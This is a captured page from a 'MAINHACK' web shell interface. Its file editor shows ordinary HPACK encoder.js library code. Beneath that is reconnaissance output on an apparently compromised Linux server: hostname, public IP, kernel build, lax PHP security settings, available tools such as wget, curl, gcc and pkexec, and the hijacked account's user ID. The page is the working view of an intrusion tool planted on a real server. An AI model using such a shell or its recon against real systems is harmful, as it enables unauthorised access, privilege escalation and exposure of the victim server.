[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: encoder.js
var hpack = require('../hpack'); var utils = hpack.utils; var huffman = hpack.huffman.encode; var assert = utils.assert; var WBuf = require('wbuf'); function Encoder() { this.buffer = new WBuf(); this.word = 0; this.bitOffset = 0; } module.exports = Encoder; Encoder.create = function create() { return new Encoder(); }; Encoder.prototype.render = function render() { return this.buffer.render(); }; Encoder.prototype.encodeBit = function encodeBit(bit) { var octet; this.word <<= 1; this.word |= bit; this.bitOffset++; if (this.bitOffset === 8) { this.buffer.writeUInt8(this.word); this.word = 0; this.bitOffset = 0; } }; Encoder.prototype.encodeBits = function encodeBits(bits, len) { var left = bits; var leftLen = len; while (leftLen > 0) { var avail = Math.min(leftLen, 8 - this.bitOffset); var toWrite = left >>> (leftLen - avail); if (avail === 8) { this.buffer.writeUInt8(toWrite); } else { this.word <<= avail; this.word |= toWrite; this.bitOffset += avail; if (this.bitOffset === 8) { this.buffer.writeUInt8(this.word); this.word = 0; this.bitOffset = 0; } } leftLen -= avail; left &= (1 << leftLen) - 1; } }; // Just for testing Encoder.prototype.skipBits = function skipBits(num) { this.bitOffset += num; this.buffer.skip(this.bitOffset >> 3); this.bitOffset &= 0x7; }; Encoder.prototype.encodeInt = function encodeInt(num) { var prefix = 8 - this.bitOffset; // We are going to end up octet-aligned this.bitOffset = 0; var max = (1 << prefix) - 1; // Fast case - int fits into the prefix if (num < max) { this.buffer.writeUInt8((this.word << prefix) | num); return octet; } var left = num - max; this.buffer.writeUInt8((this.word << prefix) | max); do { var octet = left & 0x7f; left >>= 7; if (left !== 0) octet |= 0x80; this.buffer.writeUInt8(octet); } while (left !== 0); }; Encoder.prototype.encodeStr = function encodeStr(value, isHuffman) { this.encodeBit(isHuffman ? 1 : 0); if (!isHuffman) { this.buffer.reserve(value.length + 1); this.encodeInt(value.length); for (var i = 0; i < value.length; i++) this.buffer.writeUInt8(value[i]); return; } var codes = []; var len = 0; var pad = 0; for (var i = 0; i < value.length; i++) { var code = huffman[value[i]]; codes.push(code); len += code[0]; } if (len % 8 !== 0) pad = 8 - (len % 8); len += pad; this.buffer.reserve((len / 8) + 1); this.encodeInt(len / 8); for (var i = 0; i < codes.length; i++) { var code = codes[i]; this.encodeBits(code[1], code[0]); } // Append padding this.encodeBits(0xff >>> (8 - pad), pad); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002